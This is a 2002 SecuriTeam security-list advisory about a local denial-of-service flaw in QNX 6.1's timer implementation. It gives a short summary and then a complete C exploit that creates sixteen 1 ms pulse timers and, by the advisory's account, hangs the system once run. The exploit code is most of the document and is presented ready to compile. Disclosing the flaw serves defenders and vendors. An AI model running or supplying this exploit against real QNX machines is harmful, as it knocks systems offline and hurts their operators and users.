[EXPL] QNX Timer Implementation Vulnerable to DoS

From: support@securiteam.com
Date: 11/07/02 

From: support@securiteam.com
To: list@securiteam.com
Date: 7 Nov 2002 11:04:37 +0200

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  QNX Timer Implementation Vulnerable to DoS
------------------------------------------------------------------------

SUMMARY

Pawel has found a bug in QNX-6.1 timer implementation. After creating some
number (at least 2) of timers with 1 ms tick system hangs.

DETAILS

Vulnerable systems:
 * QNX version 6.1

Exploit:
/*
 * QNX RTP 6.1 Local DoS exploit
 *
 * author: Pawel Pisarczyk <pawel@immos.com.pl>, 2002
 *
 * After compilation and output binary execution system hangs.
 */
 
#include <errno.h>
#include <stdio.h>
#include <stddef.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/neutrino.h>
#include <inttypes.h>

int main(int argc, char *argv[])
{
  struct sigevent event;
  struct _itimer itimer;
  int chid;
  int tmid;
  int coid;
  int k;
    

  if ((chid = ChannelCreate(0)) < 0) {
    fprintf(stderr, "Can't create channel!\n");
    exit(-1);
  }
  
  if ((coid = ConnectAttach(0, getpid(), chid, 0, 0)) < 0) {
    fprintf(stderr, "Can't connect to channel!\n");
    exit(-1);
  }
  
  
  for (k = 0; k < 16; k++) {
  
    SIGEV_PULSE_INIT(&event, coid, 16, _PULSE_CODE_MINAVAIL + 1, k);
    
    if ((tmid = TimerCreate(CLOCK_REALTIME, &event)) < 0) {
      fprintf(stderr, "Can't create timer!\n");
      return -1;
    }

    itimer.nsec = 1000000;
    itimer.interval_nsec = 1000000;
    TimerSettime(tmid, 0, &itimer, NULL);
  }
  
  
  while (getc(stdin) != '#');
  return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:pawel@immos.com.pl> Pawel
Pisarczyk.

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